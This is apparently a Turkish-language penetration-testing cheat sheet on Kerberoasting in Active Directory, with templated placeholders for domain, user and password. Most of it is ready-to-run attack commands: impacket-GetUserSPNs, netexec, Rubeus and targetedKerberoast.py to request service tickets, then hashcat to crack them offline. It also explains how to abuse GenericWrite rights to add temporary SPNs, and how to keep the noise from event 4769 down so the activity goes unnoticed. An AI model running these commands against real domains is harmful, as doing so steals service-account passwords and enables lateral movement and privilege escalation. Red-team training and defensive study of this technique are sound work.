Kerberoasting
SPN'e (Service Principal Name) sahip servis hesapları için TGS-REP biletleri istenip, servis hesabının NT hash'iyle şifrelenen kısmı offline kırılır. impacket-GetUserSPNs -request, netexec --kerberoasting, Rubeus kerberoast ile toplanır; GenericWrite ile targeted kerberoast; hashcat -m 13100.
- EN AZ bir geçerli domain hesabı (parola, hash veya Kerberos bileti) — kimlik şart
- DC'ye Kerberos (88/TCP) ve LDAP (389) erişimi
- Domain ({{DOMAIN}}), DC IP ({{DC_IP}})
- Saat senkronizasyonu (clock skew < 5 dk)
Komutlar
impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} -request -outputfile kerberoast.hash impacket-GetUserSPNs {{DOMAIN}}/{{USER}} -hashes :{{NTHASH}} -dc-ip {{DC_IP}} -request -outputfile kerberoast.hash nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --kerberoasting kerberoast.hash impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} Rubeus.exe kerberoast /outfile:kerberoast.hash /nowrap Rubeus.exe kerberoast /user:{{USER}} /nowrap targetedKerberoast.py -v -d {{DOMAIN}} -u {{USER}} -p {{PASS}} --dc-ip {{DC_IP}} hashcat -m 13100 kerberoast.hash {{WORDLIST}} -r /usr/share/hashcat/rules/best64.rule Teori: SPN ve TGS-REP
Bir hizmetin (MSSQL, HTTP, CIFS vb.) bir domain hesabı altında çalıştığında, o hesaba bir SPN (Service Principal Name) kaydı yapılır. Kerberos’ta herhangi bir kimliği doğrulanmış kullanıcı, bir SPN için TGS (service ticket) isteyebilir. DC, dönen TGS-REP biletinin bir kısmını servis hesabının NT hash’inden türetilen anahtarla şifreler. Saldırgan bu bileti alıp offline kırarak servis hesabının parolasını elde eder. Servis hesapları genelde eski, güçlü olmayan, nadiren değişen parolalara sahip olduğundan Kerberoasting çok verimlidir.
Adım 1: Kimlik ile SPN’leri Enumerate Et
AS-REP roasting’in aksine Kerberoasting İÇİN GEÇERLİ BİR KİMLİK ŞARTTIR (TGS istemek için TGT gerekir). Önce -request olmadan enum yapın: impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}}. Çıktıda her SPN hesabının PasswordLastSet tarihine bakın — eski parolalar daha kırılabilir. BloodHound’da ‘Kerberoastable’ işaretli hesapları hedefleyin.
Adım 2: TGS Biletlerini İste ve Çıkar
- Linux:
impacket-GetUserSPNs ... -request -outputfile kerberoast.hashveyanxc ldap ... --kerberoasting. - Windows:
Rubeus.exe kerberoast /outfile:... /nowrap. Çıktı$krb5tgs$23$*user$DOMAIN$spn*$...formatındadır.
Adım 3: Targeted Kerberoasting (SPN’i olmayan hedefler)
Bir kullanıcı üzerinde GenericWrite/GenericAll/WriteProperty (servicePrincipalName) yetkiniz varsa, o hesaba geçici bir SPN ekleyip roast edip SPN’i silebilirsiniz. targetedKerberoast.py bunu otomatik yapar. Bu, ad-acl-abuse ile birleşen güçlü bir tekniktir — BloodHound’da outbound GenericWrite kenarlarını arayın.
Adım 4: Offline Kır
hashcat -m 13100 ile sözlük + kural saldırısı. Offline’dır, DC’ye ek trafik yok, kilitleme yok. Kırılan parola çoğu zaman yüksek yetkili servis hesabıdır (örn. MSSQL servis hesabı, hatta yanlış yapılandırmada Domain Admin grubunda bir hesap) ve doğrudan lateral movement / privesc sağlar.
Gotchas
- Clock skew: TGS istemek Kerberos’tur; DC ile 5 dk’dan fazla saat farkı
KRB_AP_ERR_SKEWverir.sudo ntpdate {{DC_IP}}veyasudo rdate -n -u {{DC_IP}}. - AES şifreli biletler (etype 17/18): Hesap yalnızca AES destekliyorsa hash mode 19600/19700 olur ve kırma çok daha yavaştır. Rubeus
/tgtdelegveya RC4 downgrade ile mode 13100 elde etmeye çalışabilir; lablarda çoğu hesap RC4 (23) döner. - SPN formatı: Manuel TGS isterken SPN
service/hostformatında olmalı (örn.MSSQLSvc/sql01.{{DOMAIN}}:1433); yanlış formatKDC_ERR_S_PRINCIPAL_UNKNOWNverir. - krbtgt’yi roast etmeyin: krbtgt’nin de SPN’i vardır ama kırılamaz; araçlar zaten atlar.
- Gürültü: Tek seferde tüm SPN’leri istemek 4769 olayları üretir; tespit edilen ortamda
Rubeus kerberoast /user:ile tek hedefe odaklanın.